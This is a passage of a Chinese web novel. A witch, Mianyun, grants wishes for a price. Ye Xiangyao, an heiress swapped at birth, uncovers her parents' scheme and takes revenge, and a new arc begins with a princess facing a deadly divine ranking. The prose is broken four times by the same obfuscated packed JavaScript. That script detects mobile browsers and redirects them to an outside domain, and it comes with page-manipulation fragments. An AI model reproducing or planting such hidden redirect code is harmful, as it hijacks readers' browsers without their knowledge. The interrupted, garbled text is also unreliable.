看起来好像很感人，可实际上呢？普通人一天的误工费不过两百，一张火车票再贵也不会破千，一点儿感冒药和水果又能值几个钱？ 那个被她戴了十八年的玉坠就是个品质很普通的东西，不包含爱也没有旁的意义，或者说意义这种东西，真的存在吗？ “你最近过得好吗？”眠云表情不变，只微笑着又问道。 “谈不上好，也说不上坏吧，”叶向夭坦言“在物质上比以前要宽裕些，但其他的就没什么了。” “我记得你有一个哥哥两个弟弟，是他们不欢迎你吗？”眠云笑容加深“还是说，你不喜欢刚刚那个，你认为顶替了你位置的假千金妹妹呢？” “如果说刚刚我对自己的猜测只有五分把握的话，那听你这么一说，我便有八分把握。”叶向夭看向眠云“叶麟先，真的是假千金，是我养父母的孩子吗？” 有些事，单说出来不觉得怎么样，可一但联系起来，便能看出些端倪。 刚刚那位富太太说，叶麟先和叶归鸿是龙凤胎，当然了，按照她所知道的抱错，就是她和叶归鸿是龙凤胎，是同一天出生的。 根据叶母的心声，叶归鸿不是叶父的孩子，可她却和叶父做过亲子鉴定，她肯定是叶父的孩子。 这就奇了，一对龙凤胎，怎么会有两个父亲？ 况且在她的亲子鉴定报告出来的时候，叶母并不太惊讶，这就说明叶母其实早就知道她是叶父的孩子了，叶母就算再没医学常识，也知道双胞胎不同父的概率非常小吧？ 还有一件事，她之前没怀疑过，现在却觉得有点儿不对劲。 当初，她的养父母为什么要换孩子？ 为了让自己的亲生女儿过得好？ 不，这不太可能，在养父母那个重男轻女的山沟里，普遍认为女孩能给口饭吃就算是父母慈悲了，他们不可能为了一个女孩，冒着被发现的风险去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14859584|158905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 换走富人家的孩子，家里的几个姐姐过的是什么猪狗不如的日子，她又不是看不到。 如果不是为了孩子过得好，那又是为什么？ 另外还有一些零零散散的事，比如叶家接受换孩子这件事是不是太快了？叶母拒绝给叶归鸿做亲子鉴定，为什么也要严词拒绝给叶麟先做亲子鉴定？为什么在亲子鉴定结果出来之前，叶父就认定了她才是亲生的？叶父知道叶母给他戴绿帽子，为什么对此却毫无反应？ “我有一个既荒谬，又合理的猜测。”叶向夭闭上眼睛，片刻后又重新睁开“我是叶家的孩子，但叶麟先也是叶家父母亲生的，实际上，当初和我互换了身份的人是……” “大哥，”叶麟先的声音传到叶向夭的耳朵里“你怎么来了？你不是说今天公司有事，晚上才能过来吗？” 叶向夭忍不住站起来，转头去看叶归鸿，叶归鸿穿着一身笔挺的西装，但却并没有多好看，毕竟他本身是个相貌平平，身高也很普通的人，为什么她以前都没有发现，叶归鸿和叶父叶母长的一点儿都不像呢？ “公司的事处理完了，就提前过来看看”叶归鸿松了松领带，看向叶麟先的眼神十分柔和“麟先，你放心，哥哥会一直保护你的。” “谢……”叶麟先刚想说谢谢，却被叶向夭一把拉开，叶向夭面色不善的看着叶归鸿，语气中带着几分嘲讽“怎么，她都这么大的人了，还需要你保护，你是想摆明了说我欺负她？” “你不要胡闹！”刚刚还对叶麟先和颜悦色的叶归鸿瞬间变了脸色“你在外面这么多年，怎么一点儿规矩都没有？我告诉你，爸妈……” “我没有规矩？”叶向夭不怒反笑，根本没听叶归鸿后面说了什么“行，你们都向着她，那不如我就把这件事当场嚷嚷出去，让所有人评评理，这件事到底是谁理亏！” “你给我闭嘴！”叶归鸿恨不得直接缝上叶向夭的嘴，他知道叶向夭能走到这一步定然不是能轻易糊弄的性子，但她如此难缠也属实出乎了他的意料。“再闹，你就给我回家去！” “呵，”叶向夭冷笑一声“你是叶家的什么人啊，就敢赶我走，你真当叶家是你的了不成？” 叶向夭这句话本身没问题，但架不住叶归鸿自己心虚，总怀疑叶向夭是不是发现了什么，便不敢与叶向夭对峙，片刻之后便寻了个由头离开了。 “姐姐，”叶麟先扯了扯叶向夭的裙摆，她什么都不知道，自然也不知道叶向夭和叶归鸿的眉眼官司“大哥他……不是故意的，男孩子有时候就是会粗心一些，姐姐当然没有欺负我，大哥只是误会了而已……姐姐？叶小姐？” 见叶向夭迟迟不说话，叶麟先以为叶向夭生气了，她忍不住抬起头去看叶向夭，却发现叶向夭正紧紧盯着她的脸，半晌后才缓缓吐出一句“以前我都没有发现，我们长的虽然不像，但我像父亲，你像母亲。” 23. 第7章 “我？”叶麟先不可置信的指了指自己“怎么可能？” 她不是叶母的孩子，又怎么会长的像叶母？ “真的挺像的，”叶麟先笑了笑，指着叶麟先的眼睛说道“你和妈妈一样，都是杏仁眼，双眼皮，嘴巴鼻子也有几分像。” 叶向夭说的是实话，叶麟先却只以为叶向夭是在安慰她，她低低道了声谢，随后便不再说话了。 “你和叶……大哥的感情怎么样？”叶向夭忽然问了个奇怪的问题“他对你好吗？” “嗯……其实以前我们相处的也不太好，”叶麟先摸了摸脑袋，似是有些不好意思“你别看大哥现在这样沉稳，他在十六岁以前可是很傲气的，甚至不比逸飞、逸扬差什么。可能是男孩子都比较晚熟吧，近两年大哥长大了，对我也多有照顾。” “哦，是吗？”叶向夭冷笑道“哪有什么晚熟不晚熟，不过是看人下菜碟罢了。” 在过去，叶归鸿这个名正言顺的长子嫡孙拥有继承一切的权利，哪怕有叶逸飞、叶逸扬这两个私生子，他也不用担心自己的地位被动摇。 但纸终究是保不住火的，或许是血型，又或许是其他，让叶归鸿知道了自己并非叶父叶母的亲子，作为外人的他没有资格继承任何东西，对待叶麟先这个叶父叶母的亲生女儿，他自然就没那么骄傲的资本了。 “大哥他刚刚说话是难听了些，但他人不坏的。”叶麟先并没有察觉到叶向夭的深意，只以为叶向夭在为叶归鸿的区别对待而生气，她绞尽脑汁的解释道“姐姐放心，这件事我会和大哥说，这件事是大哥不该妄下断言，当然我也有错，没能及时解释清楚，我向姐姐道歉。” “这和你没关系，”叶向夭强压下心头的怒意，忽而又问道“你要单独去找叶归鸿？” 叶麟先不明所以的点点头，她不明白叶向夭为何又变了脸色。 “以后，你不许和叶归鸿单独接触，无论什么时候，都不许。”叶向夭猜到了某种可能，只是她现在还无法确定，只好再三强调。 叶麟先虽然不理解，但她对叶向夭怀着某种亏欠的心理，最终还是选择答应下来。 叶向夭靠在墙上，思索着这段时间发生的事，还有以后应当如何做，她还没想出个所以然来，只见叶母和一个富太太领着一个三十多岁的男人过来，叶母浅笑着和叶向夭介绍起了男人，在看到叶向夭没什么反应以后，还伸手碰了碰叶向夭，示意她说话。 “敢问这位先生今年多大了？”叶向夭回过神来，她看着眼前这个体型堪比正方形，身高还没她高的男人，语气淡淡。 “三十九，正所谓男人三十一枝花，我现在是男人最风华正茂的时候，与叶小姐甚是相配。”男人露出了一个自认帅气实则油腻的笑容，别说叶向夭，就连一旁叶母的笑容都僵硬了一瞬。 “哦，我今年十八岁，”叶向夭没有去看那个油腻男，只看着叶母说道“这位先生的年纪是我的两倍还多，如果结婚早的话，他这个年纪都够生我了吧？” 叶向夭哪怕没有去读叶母的心声，也知道叶母在想什么，或者说叶母从来都没有掩饰过。 之前她问叶麟先为什么不去留学，叶麟先却说她很快就知道了，现在她确实知道了，叶家恐怕是想着刚成年就给女儿相亲，一到二十岁就让女儿嫁出去吧？ “看来这没养过的就是没感情，”叶向夭面带嘲讽，连装都懒得再装一下“如果妈妈你将我认回来就是为了让我嫁给大我二十一岁的老男人，那你不如开个青楼会所，让里面的每个小姑娘都叫你妈妈。” 不说叶母，另一个贵夫人却被叶向夭说的害臊，很快就寻了个由头带着自家儿子离开，她也没想到，叶母说让两家孩子认识认识，却给他儿子介绍了个刚成年的，这要是真被嚷嚷出去，她的老脸还要不要了？ “叶向夭！”被当场揭了脸面，恼羞成怒的叶母呵斥道“你怎么这么不要脸？你是在外面长大的，肯定不如麟先，有人要你就不错了，还容得下你挑三拣四？！” “我的确不要脸，不像妈妈你，自己没脸没皮，还得要一张别人的脸才能遮一遮。”叶向夭对叶母的辱骂毫无反应，甚至觉得有些无聊，毕竟类似的话她已经听过一千遍一万遍了，在她养父母那个山沟里，人们对女孩的恶意大到难以想象。 论口舌，豪门出身的叶母自然比不过豁的出去的叶向夭，或许父母对孩子有天然的恩情压制，但叶家没有养过叶向夭一天，自然也不存在什么养恩，几轮下来，叶向夭还没觉得怎么样，就把叶母气的七窍生烟，就连脚步都有些踉跄。 “妈妈，姐姐！”最终还是叶麟先察觉到了这里的异常，用身体隔开了这对冤家母女，她好不容易将叶母劝好，转头又对叶向夭劝道“姐姐，虽然妈妈有时候是传统了一点儿，但她还是爱你的，毕竟你是她的亲生女儿……” “你是怎么判断出来，妈妈爱我的？”叶向夭反问“或者，你告诉我，你觉得妈妈爱你吗？” “当、当然啊，”叶麟先没想到叶向夭会问这个，她磕巴了一下，随后答道“因为姐姐你是妈妈的亲生女儿，妈妈当然会爱你，而妈妈把我抚养长大了，对我自然也是有感情的。” “哦，”叶向夭面无表情的应了一声“如果妈妈为了利益要把你嫁给一个又老又丑的老头，你也觉得她爱你吗？” “不会吧？”叶麟先根本没有想过这个问题，她只摇头道“妈妈不会这么做的。” “就在刚刚，妈妈带着一个大我二十一岁的男人要跟我认识一下，”叶向夭嗤笑一声“的确，没七老八十就不算老头呢。” 叶麟先沉默，她不知道该说什么，只好一个劲儿的说对不起。 “你有什么对不起我的，”叶向夭叹息一声，看着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14865182|158905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个被养的过分乖顺听话的妹妹“你叫叶麟先，我之前一直没问过，是哪两个字。” 叶麟先摸不清叶向夭为何态度转换如此之快，但这只是无关紧要的小事，她乖乖答道“就是麒麟的‘麟’，先后的‘先’。” “……是吗？”叶向夭语气飘渺的像是海上易碎的泡沫“我知道了，你先离开吧，让我一个人待一会儿。” “云云，”目睹了现场发生所有事的花花有些不理解，它想了一会儿，率先说出了自己最想说的“这个小孩和上一个穿校服的小孩好像很不一样。” 虽然花花自己也说不出太具体的例子，但它觉得叶向夭明显比赵梓涵更厉害一些。 “如果说赵梓涵出生在一个相对正常，甚至相当普遍的家庭，那叶向夭的出身就注定了她活的不会太轻松。”眠云抱起花花，笑着说道“你想听听叶向夭的故事吗？” 十八年前，豪门世家叶家的当家夫人生下了一对双胞胎女儿，这本是一件喜事，但不幸的是，叶母在生育中难产，虽保住了子宫，却很难再有孩子。 对于叶家这个真·有王位要继承的世家来说，没有男孩就相当于失去了继承人，恰好在这个时候，一对动了歪心思，想拿自己孩子换走豪门千金的夫妻进入了叶家夫妻的视线。 叶家夫妻假装不知道那对夫妻的计划，纵容他们用一个男孩换走了一个女孩，就这样，叶向夭饱受折磨的十八年，开始了。 “对哦，”花花忽然反应过来“虽说刚出生的小孩都长的差不多，但是男是女做父母的总不可能不知道吧？” 是的，叶家夫妻知道，这是一场双方都很满意的交换，叶家夫妻用女儿换了一个儿子，而那对别有用心的夫妻让自己的儿子过上了富贵无忧的生活。 在这场交易中，唯一倒霉的只有叶向夭，她从一位千金小姐变成了山村里被父母嫌弃的养女，如果不知道自己的身世，叶向夭半生都要费力摆脱养父母那滩烂泥，哪怕发现了自己的身世，她也只是从一个泥潭跳进了另一个泥潭，要如何破局，还要看她怎么做。 可以说，叶向夭从生下来就是个倒霉蛋了。 “云云，我知道小叶子符合八苦中的哪一苦了！”花花从眠云怀里跳到对面，骄傲的说道“生！是生苦，对不对？” “是的，”眠云笑着点头“叶向夭的苦，来自于出身，她生于叶家是苦，生而为女更是苦，出身之苦，自然便是生苦。” “……眠云？” 不知何时，叶向夭再次回到这个角落，她是个极坚韧的人，哪怕刚刚听到了堪称爆炸性的消息，现在也能神色如常的继续和眠云说话。 “不用犹豫，”眠云慢悠悠的喝了一口果汁笑道“我今日来，正是因为你需要我。” “是，”叶向夭双手握拳，似是在和什么看不见的敌人搏斗“我要和你再做一次交易。” 24. 第8章 嘀——嘀—— 心电监护仪发出平稳的嘀嘀声，一个消瘦的妇人躺在床上，她身上插着一根又一根的管子，这让她既说不出来话，也无法动弹，除了还有意识，她简直和死人没什么两样。 “妈，”一个穿着女士西装，打扮光鲜亮丽的女人坐在床头，微笑着看向妇人“告诉你一个好消息，妹妹要回来了，您应该很高兴吧？” “嗯——嗯嗯——” 妇人很是激动，似乎想要说些什么，但因为被切了气管，她什么都说不出来。 “我知道您是高兴的，”已经接手公司，二十五岁的叶向夭笑着说道“毕竟妹妹怎么也比你那个得不到公司就开车把你们老两口撞死的好大儿要强，可惜您已经说不出话了，还是省省力气吧。” 叶母虽然无法说话，但她的眼睛依旧满怀怒火，狠狠的瞪向叶向夭。 “我知道，”叶向夭随意拿起旁边的一次性水杯给自己倒了一杯水“您一定在想，如果没有我这个祸头子，一切都是好好的，对吧？” 想到这儿，叶向夭反而笑了起来，她觉得好笑，真的很好笑“母亲啊母亲，我都不知道该怎么说您了，毕竟再您心里，我和麟先这两个亲生女儿的命都比不上叶归鸿那□□的二两肉，那二两肉到底有什么稀奇的，值得你豁出命去帮他？” “嗯——嗯嗯——” 说到这儿，叶母又激动了起来，她恨不得挣扎着起来痛骂叶向夭，却碍于身体硬件不支持，只得哼哼唧唧的说着些谁也听不懂的话。 “原本我以为，年少时那座将我困起来的小山村是我一生都摆脱不掉的噩梦，”叶向夭也没指望叶母能回答，只是自顾自的说着“向夭，这个名字很好听，甚至对于我那初中都没上过的养父母来说，这算是他们难得有文化的时候，可是母亲，你知道，叶向夭这三个字代表了什么吗？” “哦，你不知道。”叶向夭风轻云淡的说道“你根本没关注过你的女儿被抱到哪儿了，你巴不得我一辈子都回不来，又怎么会知道？” 叶母不知是不是折腾累了，躺在床上没了动静，眼神呆呆的望着天花板。 “在我们那里，小孩死了被叫做夭，是夭折的意思。”再提起这个名字的时候，叶向夭表情自然到像是在说别人的事“向夭，就是去死，那对夫妻希望我死掉，毕竟死无对证，只要我死了，就不会有人知道他们换孩子的事。” 叶母似是有些动容，她斜着眼睛看了一眼叶向夭，不知在想什么。 “我的养父母对我很不好，当然了，我也没让他们好过，”叶向夭灿然一笑“既然养出了我这么个孽种，让他们后半辈子都生活在水深火热之中，应该也算合理吧？” 有时候，有权有势真的能做到很多事。 她的养父，其实是个惯赌，只是以前玩儿的小，这样的人，交几个狐朋狗友，一起吃喝，再被人忽悠着赌上几把大的，不是理所当然吗？ “我恨我的养父母，但我更恨你，妈妈。”叶向夭说话时的表情温和淡然，语气里却有着毫不掩饰的恨意“他们知道我不是亲生的，所以对我的恶意不加掩饰，可妈妈，你明明知道我是你的亲生女儿，你却从来都没找过我，为了叶归鸿能继续留在这个家，你甚至不惜赶我离开，以维持表面的和谐。” 叶母没有动弹，只是眼神直直的看着叶向夭，她的心情或许很复杂，但没有愧疚。 “妈妈，你可真是够狠啊，我险些被您骗了去，误以为您真的很爱麟先，从而把麟先当成敌人了。” 叶向夭回想起她刚刚回家的时候，那时的她对叶麟先未尝没有偏见，人一但产生偏见，理智就会受到影响，原本觉得对方有五分可疑，在偏见的加持下也变成九分了。 “我该说什么？不愧是在豪门沉浮多年的人，手段就是高超？”叶向夭笑了“你先是找我麻烦，然后留下些若有若无的线索，每次我去质问，你就和叶归鸿就联手做戏，看似维护叶麟先，实则把黑锅狠狠的扣在她头上，不给她辩解的机会。” “你不就是想让我受不了委屈跑掉吗？”叶向夭忽然凑近叶母，笑容扩大“可惜，我不会跑，我只会以牙还牙，受过的委屈，我会一次一次讨回来！” “嗯——” 叶母神情激动的想要起来，可她在之前那场车祸中高位截瘫，就连自主呼吸都不行，更别说是动弹了。 “不仅是对我这个女儿，你对我的妹妹叶麟先也是一样残忍。”叶向夭冷笑道“如果说我的前半生被囚禁住的是身体，那叶麟先被囚禁住的，就是她的心。” 叶向夭打小就在小山村里生活，养父母对她百般折磨，可正因如此，她对养父母没有任何感情，她知道读书能改变命运，就拼命读书，为的就是有朝一日能逃离那座山村。 叶麟先就不一样了，叶麟先出身富贵人家，因为叶父叶母对她没有期待，在学业上反而对她很宽容，只要她不惹出事端就行，再加上以叶家的资产，完全没必要克扣叶麟先花的那三瓜俩枣，所以叶麟先这么多年生活的还算平顺。 可这看似温情脉脉的家庭，背后又藏着多少不堪？ 叶父叶母从来没有为叶麟先的未来考虑过，叶麟先就像是一个包装精美的礼物，只等叶父叶母将她送出去换取利益。 叶麟先从小开始节食，营养不足导致她身高太矮，体重也非常轻，这正好符合了男人喜欢的，娇小、令人有保护欲的身材。 叶麟先先天条件不足，在舞蹈上也没有多少天赋，她本来不适合学习舞蹈，可一向对她非常宽容的叶父叶母却坚持让她学这个，因为跳舞的女孩，身形挺拔柔韧，气质又出众，哪怕是长相不算太漂亮，也称得上一句气质美人。 以叶家的条件，哪怕叶麟先不算出众，也可以送她出国留学，混个水硕，可叶家为了尽快把她嫁出去，根本没有考虑过让她出国提升学历。 最可怕的是，在叶父叶母表面的慈爱下，叶麟先根本意识不到，她的一切，都是为了她的未来丈夫打造的。 她和大多数孩子一样，以为父母是爱自己的，只是父母的观念比较老旧，思想比较古板而已。 被束缚住身体的人，还知道拼尽全力逃离，可被束缚住心的人，终其一生都在原地打转， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14870854|158905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沉浸在虚假的爱意之中。 “麟先，好一个麟先！有文化的人就是不一样，取个招娣都这么文雅。”叶向夭用力捏紧手中的纸杯，杯中的水顺着皱巴巴的杯壁洒了出来“麟之趾，振振公子，麟是男儿，先是先行，麟先就是男儿的先行。［注1］” “妈妈，你还真是不死心啊。”叶向夭将水杯往垃圾桶里一丢，擦干了手上的水“怎么，用女儿换男婴之后还想自己再生一个？可惜，你生不了，你不仅生不了，还要看着爸爸的小情人给他生了一对双胞胎男孩。” 叶母闭上眼睛，眼角似有泪痕，她这一辈子机关算尽，最终却落得这么个下场，还不如死了。 “你放心，我报仇，讲究的就是一个公平。”叶向夭站起来，笑着对叶母说道“爸爸没抗住车祸，已经先您一步走了，您的好大儿叶归鸿被我以故意杀人罪送进了监狱，恐怕也活不长，叶逸飞、叶逸扬这两个小东西被你的好大儿攀扯参与故意杀人，正好一道去监狱，走的整整齐齐。” “至于您，”叶向夭勾唇一笑“看在您生我一场的份上，我当然不会让医院停药，至于能活几年，就是您自己的能耐了。” 走出医院以后，叶向夭看到了一个她七年都未曾见过，却异常熟悉的人，她停下脚步，笑着说道“我就知道，你会来找我。” “自然，我做交易向来守信。”眠云微笑着点头“以寿数换取读心术的时间，从开始到现在，共计2451天。” “虽然是交易，但我还是想谢谢你。”叶向夭把手递给眠云，在眠云碰了一下她的手以后，她感觉身体一轻，好像有什么东西从她身上剥离。“谢谢，妖精小姐，如果不是你，我恐怕还在怨恨无辜之人，为一点爱护向人摇尾乞怜。” “不用谢，公平交易，”眠云笑了笑，伸手指向前方“去吧，前面还有人在等着你呢。” 叶向夭似是想到了什么，朝眠云告别之后便往前走，穿过一段狭窄阴暗的小道之后，穿着卫衣牛仔裤，梳着高马尾的叶麟先正在先向她挥手。 “这么快就回来了，怎么没告诉姐姐去接你？”叶向夭笑着给了叶麟先一个拥抱“欢迎回来，我们已经七年都没有见过了。” “是啊，好久不见。”叶麟先也抱住了叶向夭，扬起了一个大大的笑容“我们是亲人，不管相隔多长时间，都一定会再次见面。” “贫嘴，”叶向夭笑着点了点叶麟先的脑袋“出去这么久，还算有点儿长进。” “那当然！”叶麟先捂着脑袋笑道“看的多，自然懂得也多了。” 两姐妹一边走，一边说笑，谁都没有再谈起家里的事，走到停车场的时候，叶麟先忽然突兀的说道“对了，姐姐，我想把名字改掉。” “怎么？”叶向夭忍不住侧目“你以前不是最恋旧情，什么东西都喜欢旧的吗？” “我现在知道了，不好的东西该丢就得丢，”叶麟先神色如常，眼神却变了几变“不然放在角落里发烂发臭，扰的人心烦。” 叶向夭闻言顿了一下，没有说话，良久之后她才叹息了一句。 “长大了啊……” 25. 西幻耽美文中的炮灰妹妹 “好无聊，”花花趴在巨大的岩石上，一条清澈的溪流在它身边叮咚作响“云云为什么要让岐山有四季啊，明明夏天那么热，一点儿都不好玩。” 岐山虽说叫山，却是一个单独的位面，这个位面由岐山的主人眠云掌控，随她的意志运转，无论眠云是希望岐山四季如春还是无尽寒冬，或者白茫茫空无一物，都是可以随意调整的。 “这不也挺好的，”眠云笑着抚了抚花花的脑袋“一年有四季，过完了这四季，我便知道又过了一年。” “可真的很无聊啊，岐山已经好久都没有人来了，云云我们出去玩儿吧？”一提到出去，花花尾巴竖了起来，显然是很期待。 “抱歉，打扰了。” 树从发出一阵窸窸窣窣的声响，一个略显狼狈的姑娘走了出来，她提起裙摆行了一个屈膝礼，有些局促的说道“我不小心迷路了，请问这位小姐，赫瑟瑞王城应该往哪边走？” “哇——”花花爬起来，看着女孩的裙摆感慨道“你的裙子好漂亮啊！” 作为猫，花花最喜欢的就是羽毛和亮晶晶的宝石，而这个姑娘的裙子上，恰好就有这两样东西。 “谢谢……啊！”女孩有些害羞的抿嘴一笑，半晌她才反应过来，刚刚和她说话的竟是一只猫，这可把她给吓了一跳。 “别怕，我不是什么坏人，赫瑟瑞的公主殿下。”眠云微笑着起身，将辛西娅引至亭中“我是……嗯，用你们的说法，应该算是女巫吧。” “女巫小姐，”辛西娅犹豫了半天，最终还是选择坐下“请问你知道赫瑟瑞王城怎么走吗？如果你能告诉我的话，我愿意用这条裙子作为报酬，刚刚你的猫咪看起来很喜欢它。” 作为公主，辛西娅的裙子可以说是华丽至极，大量蕾丝、羽毛、宝石、花朵点缀出来的蛋糕裙，光是这一条裙子，就抵得上一个小家族一月的开销。 “我可以送你回王城，也不需要你的裙子。”眠云笑了笑，递给辛西娅一杯红茶“我虽然是女巫，却是个好女巫，如果你有什么愿望的话，可以说给我听，我会实现你的愿望，当然，也会收取相应的代价。” “……真的吗？”辛西娅有些踌躇，她对眠云的提议有些心动，但却不知道能不能付得起代价。 “当然，”眠云微微颔首“我会先提出条件，只有你同意，我们的契约才算成立，如果你不信我的话，我可以在你的愿望实现以后再收取报酬。” “……我想在愉神中活下来。”思考了许久以后，辛西娅终于鼓起勇气对眠云说道“我需要付出什么代价？” “愉神？”眠云有些诧异，随后又笑了一下“这可真是有意思。” 在辛西娅所在的赫瑟瑞王国有一种特殊的现象，被这个国家的人称之为愉神。 在赫瑟瑞，每六个月天空中就会出现一张愉神榜，上面写着密密麻麻的名字，他们的身份不一而足，唯一的共同点，就是榜单上的最后一个人会在第二天离奇消失，就像从未存在过一样。 在这种情况下，榜单上的人自然会避免落到最后一名，渐渐的，人们发现，自己的经历越曲折离奇，在愉神榜上的排行就会越高。 赫瑟瑞的人民认为这是有神在天上看着他们，所以把愉神榜选中的人称为神眷，而做出种种行动使神愉悦，就是愉神。 “因为我出身王室，所以在我六岁的时候就被愉神榜选中，成为了神眷。”说起这件事的时候，辛西娅并不算高兴，反而有些不安“一开始，我的排名还算可以，大概在愉神榜一半的位置，但后来，我的年纪越大，排名便越靠后，直到上次，我在愉神榜上排到了倒数第二名，可能下次愉神榜出现的时候，就是我的死期。” “嗯……这个倒是不难，”眠云稍微想了一下“我可以帮你，但你要按照我的方法去做，至于报酬，事成之后，我要你的王冠。” “只是王冠？”辛西娅弱弱的问了一句“我是说，这个王冠是我头上戴的那个装饰，而不是其他东西吗？” 赫瑟瑞王国富庶，辛西娅公主拥有很多珠宝，也不止一个王冠，但戴王冠是王室成员的特权，辛西娅并不确定眠云是不是在指代什么。 “只是装饰，”眠云肯定道“这件事不是什么大事，只要按我说的做就行，报酬也无需太高。” “好，”辛西娅点头答应“如果仅仅是王冠的话，我可以答应你。” “走吧，”眠云牵住辛西娅的手向前走了一步“改变命运的机会就在眼前。” 一瞬间，辛西娅眼前的景色变成了皇家猎场，她眨了眨眼睛，在心里感慨女巫的法术真的很神奇。 “这次和你们一起来王室猎场的，有一位勇士，叫做卡利克斯，你知道吗？”眠云语气淡淡，听不出喜怒。 “好像有一点儿印象，”辛西娅回想了一会儿，因为猎场有一定危险性，身体娇弱的贵族小姐都会配备一个勇士跟随，里面确实有一个年轻人叫做卡利克斯。“他有什么问题吗？” “有，”眠云点头，随后又风轻云淡的说道“但这不重要，重要的是，他是我为你选的工具人。” “女巫小姐的意思是，这个卡利克斯可以帮我提升愉神榜的排名？”辛西娅虽然不理解眠云口中工具人这个词，但大概的意思她懂了。“为什么？” “因为他是一个英俊的人渣，”眠云唇角一勾“英俊，可以让他更招人看，人渣就是为了以后你杀他埋下伏笔。” “我？”辛西娅身为公主，自然不会惧怕杀人，但她不明白自己为什么要杀一个陌生人。 “你的性格……说实话，不是‘神’喜欢的类型，”眠云思索了一会儿才答道“为了转型，你必须做出一些以前你从来都不会做的事，况且我早就说过了，你要听我的。” “好。”辛西娅应了一句，便没有再多问， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14874475|158905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就连之后眠云那堪称奇怪的计划，她都没有发出质疑。 * “殿下，”一群勇士讨好的围着一个身材纤瘦的少年，其中一个勇士将刚刚被射死的雄鹿呈上来，谄媚道“托殿下的福，这是属下刚猎到的鹿，特来献给殿下。” “像你这种货色也能猎到鹿？”赫瑟瑞的皇子，辛西娅一母同胞的兄长霍尔瞥了一眼地上的鹿，嗤笑道“既然你这么喜欢猎鹿，那本殿下就看看，你能猎到多少鹿吧，在天黑之前，如果你猎不满十头鹿，那就是在本殿下面前说谎，知道了吗？” “殿下、殿下饶命啊！”刚才还在献殷勤的勇士立马跪倒在地上，害怕的颤抖了起来，口里不断说着饶命。 “殿下，”霍尔身后，穿着一身甲胄，身材精壮，长相硬朗，打扮也明显与其他人有所不同的侍卫开口道“这猎场一共只有十五头鹿，若凭他一人之力，是不可能打到十头鹿的。” “利奥，你为他求情？”霍尔虽然身高不算高，但出身王族的他自带一种居高临下的倨傲气质“那你就和他一起，猎不够十头，本殿下连你一并罚！” “是，属下领命。”利奥没有辩解，只是默默的走向森林，似乎真的打算猎取十头鹿。 “该死！”霍尔骂了一声，又将身边围着的勇士都骂了一遍，勇士们自讨没趣，只得散开，不去招惹这个喜怒无常的王子殿下。 时间一点点过去，霍尔的眉头也逐渐皱起，按理来说，现在天都快黑了，不管利奥是否成功猎到十头鹿，都会前来向他复命，可不仅利奥没来，其他勇士也像死了一样，一点儿动静都没有。 “王兄？”辛西娅从一旁的树丛里走出来，她的神情中带着几分害怕，几分迷茫“王兄，你知道勇士们都去哪儿了吗？我好像迷路了。” “啧！”霍尔比女人还要精致好看的脸上浮现出不耐烦的神色，他暗骂了一声废物，转身就想离开。 “王兄小心！”辛西娅惊呼一声，上前推开霍尔，霍尔踉跄几步，刚想骂，却发现一支箭从辛西娅脸颊划过，落在旁边的草地上。 “王兄，我们先找棵树躲一躲。”还没等霍尔说话，辛西娅便率先开口“我走了这么远都没有看到一个勇士，对方是有备而来，勇士们或许没办法立刻赶过来。” “呵，”霍尔冷笑一声“一群阴沟里的老鼠！” 辛西娅没有说什么，只是默默的站在霍尔身边，忽然，一支箭又朝着霍尔射去，辛西娅再次拉开霍尔，自己却不幸暴露在箭下。 叮—— 一声武器碰撞的清鸣，只见一个手持巨剑，有着金色短发的青年出现在两人面前，朝两人行礼道“属下是猎场的勇士卡利克斯，救驾来迟，还请两位殿下恕罪。” 辛西娅仿佛看呆了一般，盯着卡利克斯的脸，片刻之后她才反应过来，连忙起身道谢“其实不算迟，现在先把那贼人找出来才是正事。” 26. 第2章 金发碧眼的俊美青年笑容温和阳光，在生死攸关之际，他如同天神一般降临在少女身边，为她挡下了致命一击，绝对可以满足大多数姑娘对于英雄的幻想，吊桥效应之下，恐怕连公主都忍不住心动。 